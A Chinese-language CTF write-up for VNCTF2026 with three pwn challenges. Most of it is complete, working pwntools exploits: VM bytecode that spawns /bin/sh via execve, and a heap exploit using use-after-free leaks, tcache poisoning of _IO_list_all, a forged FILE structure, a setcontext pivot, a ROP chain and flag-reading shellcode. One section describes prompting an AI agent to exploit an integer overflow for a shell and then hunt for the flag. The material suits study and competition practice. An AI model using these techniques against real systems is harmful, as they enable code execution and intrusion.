Vnctf2026wp
VNCTF2026
vm_syscall
一血, 虽然只是起得早 能控寄存器执行syscall的vm, 结构体如下
struct vm
{
_BYTE *code_base;
_DWORD PC;
_DWORD padding;
_QWORD reg[4];
_DWORD op_idx[3];
_DWORD padding2;
_QWORD imm_val;
};
没开pie, 可以用SYS_BRK拿到可写地址用read写binsh, 然后执行SYS_EXECVE即可
import re
import os
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
local = 0
ip = "114.66.24.228"
port = 30280
ELF_PATH="./pwn"
if local:
p = process(ELF_PATH)
else:
p = remote(ip,port)
elf = ELF(ELF_PATH)
def dbg():
script = '''
# brva 0x1E19
brva 0x1DA3
'''
if local:
gdb.attach(p,script)
pause()
def lg(buf):
log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')
# --- Opcode Constants ---
OP_MOV = 1
OP_IMM = 2
OP_REG = 3
OP_SYS = 4
# Sub-Opcodes
SUB_MOV_DST_SRC = 16 # Reg[Dst] = Reg[Src]
SUB_ADD = 16
SUB_SUB = 32
SUB_MUL = 48
SUB_XOR = 112
# Registers
R0, R1, R2, R3 = 0, 1, 2, 3
def inst_mov(dst, src):
# Opcode 1: [1] [Dst] [Src] [SubOp]
# We use SubOp 16 which implements Reg[Dst] = Reg[Src]
return p8(OP_MOV) + p8(dst) + p8(src) + p8(SUB_MOV_DST_SRC)
def inst_imm(dst, src, val, sub_op):
# Opcode 2: [2] [Dst] [Src] [Len] [Bytes...] [SubOp]
if val == 0:
val_bytes = b''
else:
# VM loads bytes in Big Endian
val_bytes = val.to_bytes((val.bit_length() + 7) // 8, 'big')
return p8(OP_IMM) + p8(dst) + p8(src) + p8(len(val_bytes)) + val_bytes + p8(sub_op)
def inst_reg(dst, src1, src2, sub_op):
# Opcode 3: [3] [Dst] [Src1] [Src2] [SubOp]
return p8(OP_REG) + p8(dst) + p8(src1) + p8(src2) + p8(sub_op)
def inst_syscall():
return p8(OP_SYS)
bytecode = b''
# --- 1. Leak Heap Address: sys_brk(0) ---
# Reg0 = 12
bytecode += inst_imm(R0, R0, 12, SUB_ADD)
# Reg1 = 0 (Clear it first)
bytecode += inst_reg(R1, R1, R1, SUB_XOR)
# Syscall
bytecode += inst_syscall()
# R0 now holds heap address.
# --- 2. Calculate Buffer Address ---
# We'll use (HeapAddr - 0x100) as our scratch space.
# Reg2 = R0
bytecode += inst_mov(R2, R0)
# Reg2 = Reg2 - 256
bytecode += inst_imm(R2, R2, 256, SUB_SUB)
# --- 3. Read String: sys_read(0, Buffer, 100) ---
# Reg0 = 0 (sys_read). Clear R0 (it holds heap addr).
bytecode += inst_reg(R0, R0, R0, SUB_XOR)
# Reg1 = 0 (stdin). Already 0.
# Reg2 is Buffer.
# Reg3 = 100
bytecode += inst_imm(R3, R3, 100, SUB_ADD)
# Syscall
bytecode += inst_syscall()
# --- 4. Spawn Shell: sys_execve(Buffer, 0, 0) ---
# Reg0 = 59 (sys_execve). Clear R0 first (holds read count).
bytecode += inst_reg(R0, R0, R0, SUB_XOR)
bytecode += inst_imm(R0, R0, 59, SUB_ADD)
# Reg1 = Buffer. Move from Reg2.
bytecode += inst_mov(R1, R2)
# Reg2 = 0. Clear.
bytecode += inst_reg(R2, R2, R2, SUB_XOR)
# Reg3 = 0. Clear.
bytecode += inst_reg(R3, R3, R3, SUB_XOR)
# Syscall
bytecode += inst_syscall()
payload = bytecode.ljust(0x200, b'\x00')
# Append the string to be read by the VM
payload += b'/bin/sh\x00'
dbg()
p.sendafter(b'Enter your code:\n', payload)
p.interactive()
eat some AI
游戏题, 先入为主猜商店购买整数溢出, 买完以后打boss直接拿shell。 先让用nc找漏洞

然后给ai写提示词让ai去打。
先战斗, 遇到购买的时候输入比如说11451444之类的很大的数字触发整数溢出拿到好装备, 如果提示[系统] 总计需要支付: 343542000 积分, 这个积分是正数说明数字还不够大, 如果这个数字是负数说明成功了。先从11451444开始试。如果遇到恭喜你,渡夜者!之类的话就成功拿到shell了, 先列举目录获取flag文件的名字, 如果当前目录没有就去根目录找。找到flag的名字以后用命令读取并返回给我。

Recode
一血 经典堆题, 给了增删改查, 区别就是有个protobuf协议, 不让用b’\x20\x09\x0a\x0b\x0c\x0d’这几个字符 。 先是交互
# --- Protobuf Encoding Helpers ---
def encode_varint(n):
"""Encodes an integer to Protobuf Varint format."""
if n < 0: n += (1 << 64)
out = []
while True:
byte = n & 0x7F
n >>= 7
if n:
out.append(byte | 0x80)
else:
out.append(byte)
break
return bytes(out)
def build_req(op_num=None, op_op=None, idx=None, val=None):
"""Constructs the raw bytes for a robot.OperationRequest."""
payload = b''
# Field 1: op_num (int32) -> Tag 8 (\x08)
if op_num is not None:
payload += b'\x08' + encode_varint(op_num)
# Field 2: op_operator (string) -> Tag 18 (\x12)
if op_op is not None:
if isinstance(op_op, str): op_op = op_op.encode()
payload += b'\x12' + encode_varint(len(op_op)) + op_op
# Field 3: target_index (int32) -> Tag 24 (\x18)
if idx is not None:
payload += b'\x18' + encode_varint(idx)
# Field 4: target_value (string) -> Tag 34 (\x22)
if val is not None:
if isinstance(val, str): val = val.encode()
payload += b'\x22' + encode_varint(len(val)) + val
return payload
def send_req(data):
# Input is read via cin >> string, which breaks on whitespace.
if any(b in data for b in b' \t\n\v\f\r'):
log.warning("Payload contains bad bytes! Exploit may fail.")
pause()
p.sendline(data)
sleep(0.1)
# Opcodes
OP_CHECK = 49374
OP_WRITE = -65535 # 0xFFFF0001
OP_READ = -65534 # 0xFFFF0002
OP_EDIT = -65533 # 0xFFFF0003
OP_THROW = -65532 # 0xFFFF0004
log.info("1. Handshake...")
send_req(build_req(op_num=OP_CHECK, val="ping"))
p.recvuntil(b"Server is healthy!")
log.info("2. Leaking Heap (Safe Linking Bypass)...")
# Allocate two chunks A and B
漏洞在ThrowThings里面

UAF漏洞, free之后指针没置0。
先用SHOW功能leak出堆和libc地址。
for i in range (7):
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # 0-6
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 7
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 8
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 9
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 10
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 11
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 12
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 13
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 14
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x10)) # idx 15
p.recvuntil(b'!\n')
send_req(build_req(OP_THROW, idx=1))
p.recvuntil(b'\n')
send_req(build_req(OP_THROW, idx=2))
p.recvuntil(b'\n')
send_req(build_req(OP_THROW, idx=3))
p.recvuntil(b'\n')
send_req(build_req(OP_THROW, idx=4))
p.recvuntil(b'\n')
send_req(build_req(OP_THROW, idx=5))
p.recvuntil(b'\n')
send_req(build_req(OP_THROW, idx=6))
p.recvuntil(b'\n')
send_req(build_req(OP_THROW, idx=7))
p.recvuntil(b'\n')
send_req(build_req(OP_THROW, idx=8))
p.recvuntil(b'\n')
# Read Index 1 (UAF Read).
# Index 1's FD points to Index 0.
send_req(build_req(OP_READ, idx=8))
p.recvuntil(b'to send raw bytes. \n')
p.recv(5)
heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x20350
lg("heap_base")
send_req(build_req(OP_READ, idx=8))
p.recvuntil(b'to send raw bytes. \n')
p.recv(5)
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x21ad60
lg("libc_base")
题目实际上一次操作处理了两个堆, op_op可以输入byte类型, val只能输入字符串。
打tcache poison, 覆写_IO_list_all。
TCACHE_KEY = (heap_base + 0x1f620) >> 12
lg("TCACHE_KEY")
IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
# binsh = libc_base + libc.search('/bin/sh').__next__()
binsh = heap_base + 0x15800
system = 0xcafefefe
execve = libc_base + 0xeb080
leave_ret = libc_base + 0x000000000004da83
send_req(build_req(OP_WRITE, op_op="a"*0x28, val="b"*0x100)) # idx 8
send_req(build_req(OP_WRITE, op_op="c"*0x28, val="d"*0x110)) # idx 7
send_req(build_req(OP_THROW, idx=8))
send_req(build_req(OP_THROW, idx=7))
send_req(build_req(OP_EDIT, op_op=p64(_IO_list_all ^ TCACHE_KEY)[:6], idx=7, val=b''))
走_IO_wfile_overflow的链拿到RIP控制
由于system和onegadget的地址刚好有坏字符, 刚开始想用execve但是本地通了远程不行, 后来改用
setcontext和mov_rsp_rdx做栈迁移打read+mprotect+shellcode的orw成了。
完整exp:
from pwn import *
import sys
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
local = 0
if args.GDB:
local = 1
ip = "114.66.24.228"
port = 33142
ELF_PATH="./server"
if local:
p = process(ELF_PATH)
else:
p = remote(ip,port)
elf = ELF(ELF_PATH)
libc = ELF("./lib/libc.so.6")
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x, drop=True)
0x599f39fd4930
def dbg():
script = '''
disp/x $rebase(0x135E0)
brva 0x5A56
brva 0x50EA
brva 0x57A0
# brva 0x4CCB
b _IO_flush_all_lockp
b _IO_wfile_seekoff
b _IO_wfile_overflow
b _IO_switch_to_wget_mode
b _IO_wdoallocbuf
# b *$rebase(0x8e9c2)
'''
if local:
gdb.attach(p,script)
pause()
def lg(buf):
log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')
# --- Protobuf Encoding Helpers ---
def encode_varint(n):
"""Encodes an integer to Protobuf Varint format."""
if n < 0: n += (1 << 64)
out = []
while True:
byte = n & 0x7F
n >>= 7
if n:
out.append(byte | 0x80)
else:
out.append(byte)
break
return bytes(out)
def build_req(op_num=None, op_op=None, idx=None, val=None):
"""Constructs the raw bytes for a robot.OperationRequest."""
payload = b''
# Field 1: op_num (int32) -> Tag 8 (\x08)
if op_num is not None:
payload += b'\x08' + encode_varint(op_num)
# Field 2: op_operator (string) -> Tag 18 (\x12)
if op_op is not None:
if isinstance(op_op, str): op_op = op_op.encode()
payload += b'\x12' + encode_varint(len(op_op)) + op_op
# Field 3: target_index (int32) -> Tag 24 (\x18)
if idx is not None:
payload += b'\x18' + encode_varint(idx)
# Field 4: target_value (string) -> Tag 34 (\x22)
if val is not None:
if isinstance(val, str): val = val.encode()
payload += b'\x22' + encode_varint(len(val)) + val
return payload
def send_req(data):
# Input is read via cin >> string, which breaks on whitespace.
if any(b in data for b in b' \t\n\v\f\r'):
log.warning("Payload contains bad bytes! Exploit may fail.")
pause()
p.sendline(data)
sleep(0.1)
# Opcodes
OP_CHECK = 49374
OP_WRITE = -65535 # 0xFFFF0001
OP_READ = -65534 # 0xFFFF0002
OP_EDIT = -65533 # 0xFFFF0003
OP_THROW = -65532 # 0xFFFF0004
log.info("1. Handshake...")
send_req(build_req(op_num=OP_CHECK, val="ping"))
p.recvuntil(b"Server is healthy!")
log.info("2. Leaking Heap (Safe Linking Bypass)...")
# Allocate two chunks A and B
for i in range (7):
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # 0-6
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 7
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 8
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 9
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 10
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 11
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 12
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 13
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x70)) # idx 14
p.recvuntil(b'!\n')
send_req(build_req(OP_WRITE, op_op="A"*0x8, val="B"*0x10)) # idx 15
p.recvuntil(b'!\n')
send_req(build_req(OP_THROW, idx=1))
p.recvuntil(b'\n')
send_req(build_req(OP_THROW, idx=2))
p.recvuntil(b'\n')
send_req(build_req(OP_THROW, idx=3))
p.recvuntil(b'\n')
send_req(build_req(OP_THROW, idx=4))
p.recvuntil(b'\n')
send_req(build_req(OP_THROW, idx=5))
p.recvuntil(b'\n')
send_req(build_req(OP_THROW, idx=6))
p.recvuntil(b'\n')
send_req(build_req(OP_THROW, idx=7))
p.recvuntil(b'\n')
send_req(build_req(OP_THROW, idx=8))
p.recvuntil(b'\n')
# Read Index 1 (UAF Read).
# Index 1's FD points to Index 0.
send_req(build_req(OP_READ, idx=8))
p.recvuntil(b'to send raw bytes. \n')
p.recv(5)
heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x20350
lg("heap_base")
send_req(build_req(OP_READ, idx=8))
p.recvuntil(b'to send raw bytes. \n')
p.recv(5)
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x21ad60
lg("libc_base")
environ = libc_base + libc.sym['environ']
lg("environ")
_IO_list_all = libc_base + libc.sym['_IO_list_all']
lg("_IO_list_all")
TCACHE_KEY = (heap_base + 0x1f620) >> 12
lg("TCACHE_KEY")
IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
# binsh = libc_base + libc.search('/bin/sh').__next__()
binsh = heap_base + 0x15800
system = 0xcafefefe
execve = libc_base + 0xeb080
leave_ret = libc_base + 0x000000000004da83
send_req(build_req(OP_WRITE, op_op="a"*0x28, val="b"*0x100)) # idx 8
send_req(build_req(OP_WRITE, op_op="c"*0x28, val="d"*0x110)) # idx 7
send_req(build_req(OP_THROW, idx=8))
send_req(build_req(OP_THROW, idx=7))
dbg()
send_req(build_req(OP_EDIT, op_op=p64(_IO_list_all ^ TCACHE_KEY)[:6], idx=7, val=b''))
fake_io_addr = heap_base + 0x1580e
lg("fake_io_addr")
onegadget = libc_base + 0x50a47
rdx = fake_io_addr - 0x10
setcontext = libc_base + libc.sym['setcontext'] + 294
mov_rsp_rdx = libc_base + 0x5a11b
puts = libc_base + libc.sym['puts']
# 0x000000000005a120 : mov rsp, rdx ; ret
fake_context_addr = fake_io_addr + 0x40
ropchain_addr = fake_io_addr + 0xf0
fake_io=flat(
{
# 0x0:[b'\x00'],
0x8: [p64(0)],
0x10:[p64(1)],
0x18:[p64(0)],
0x20:[p64(0)],
0x28:[p64(1)],
0x48:[p64(system)],
0x78:[p64(fake_context_addr)],
0x88:[p64(fake_io_addr+0x90),p64(0),p64(setcontext)],
0xA0:[p64(fake_io_addr-0x10)],
0xA8:[p64(binsh)], # rdi
0xc0:[p64(0)],
# 0xc8:[p64(0)], # rdx
0xc8:[p64(ropchain_addr)], # rdx
0xd0:[p64(fake_io_addr+0x30)],
0xd8:[p64(IO_wfile_jumps+0x30-0x30)],
}, filler=b'\x00'
)
# fake_io += p64(0) + p64(execve) # ret addr
# fake_io += p64(0) + p64(puts)
# fake_io += p64(0) + p64(libc_base + libc.sym['perror'])
fake_io += p64(0) + p64(mov_rsp_rdx)
pop_rdi = libc_base + 0x00000000001b672e
pop_rsi = libc_base + 0x0000000000174150
pop_rdx_r12 = libc_base + 0x000000000013b6b9
pop_rcx = libc_base + 0x000000000003d1ee
pop_rax = libc_base + 0x00000000000e6fd4
syscall_ret = libc_base + 0xea549
mprotect = libc_base + libc.sym['mprotect']
# ropchain begin
fake_io += p64(pop_rdi)
fake_io += p64(0)
fake_io += p64(pop_rsi)
fake_io += p64(heap_base)
fake_io += p64(pop_rdx_r12)
fake_io += p64(0x500)
fake_io += p64(0)
fake_io += p64(pop_rax)
fake_io += p64(0)
fake_io += p64(syscall_ret)
fake_io += p64(pop_rdi)
fake_io += p64(heap_base)
fake_io += p64(pop_rsi)
fake_io += p64(0x1000)
fake_io += p64(pop_rdx_r12)
fake_io += p64(7)
fake_io += p64(0)
fake_io += p64(mprotect)
fake_io += p64(heap_base)
send_req(build_req(OP_WRITE, op_op = b"e"*0x28, val="f"*0x120)) # idx 6
send_req(build_req(OP_WRITE, op_op=p64(fake_io_addr) + b"g"*0x20, val="h"*0x130)) # idx 5, the one
send_req(build_req(OP_WRITE, op_op = fake_io, val="f"*0x140))
# dbg()
# send_req(build_req(OP_READ, idx=1))
p.sendline(b'/bin/sh\x00')
pause()
shellcode = """
mov rax, 0x67616c662f
push rax
mov rdi, rsp
xor rsi, rsi
mov rax, 2
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
xor rax, rax
syscall
mov rdi, 1
mov rsi, rsp
mov rdx, 0x100
mov rax, 1
syscall
"""
p.send(asm(shellcode))
p.interactive()
# bad bytes: b'\x20\x09\x0a\x0b\x0c\x0d'
# 0x778462e53b06 <setcontext+294>: mov rcx,QWORD PTR [rdx+0xa8]
# 0x778462e53b0d <setcontext+301>: push rcx
# 0x778462e53b0e <setcontext+302>: mov rsi,QWORD PTR [rdx+0x70]
# 0x778462e53b12 <setcontext+306>: mov rdi,QWORD PTR [rdx+0x68]
# 0x778462e53b16 <setcontext+310>: mov rcx,QWORD PTR [rdx+0x98]
# 0x778462e53b1d <setcontext+317>: mov r8,QWORD PTR [rdx+0x28]
# 0x778462e53b21 <setcontext+321>: mov r9,QWORD PTR [rdx+0x30]
# 0x778462e53b25 <setcontext+325>: mov rdx,QWORD PTR [rdx+0x88]
# 0x778462e53b2c <setcontext+332>: xor eax,eax
# 0x778462e53b2e <setcontext+334>: ret
# *RAX 0x5a34ee2e983e ◂— 0
# RBX 0x5a34ee2e980e ◂— 0
# RCX 0
# RDX 0x5a34ee2e97fe ◂— 0x6473616473610000
# RDI 0x5a34ee2e980e ◂— 0
# RSI 0xffffffff
# R8 0x726f13228290 —▸ 0x726f1321cce8 —▸ 0x726f130ac0b0 ◂— endbr64
# R9 0x48
# R10 0x726f130242b0 ◂— 0xb001200000b4b /* 'K\x0b' */
# R11 0x726f130ac060 (std::error_category::~error_category()) ◂— endbr64
# R12 0xffffffff
# R13 0x7ffc36e03260 —▸ 0x726f12c8cfe0 ◂— endbr64
# R14 0
# R15 0x5a34ee2e980e ◂— 0
# RBP 0x5a34ee2e980e ◂— 0
# RSP 0x7ffc36e03210 ◂— 0xd68 /* 'h\r' */
# *RIP 0x726f12c83b9b (_IO_wdoallocbuf+43) ◂— call qword ptr [rax + 0x68]
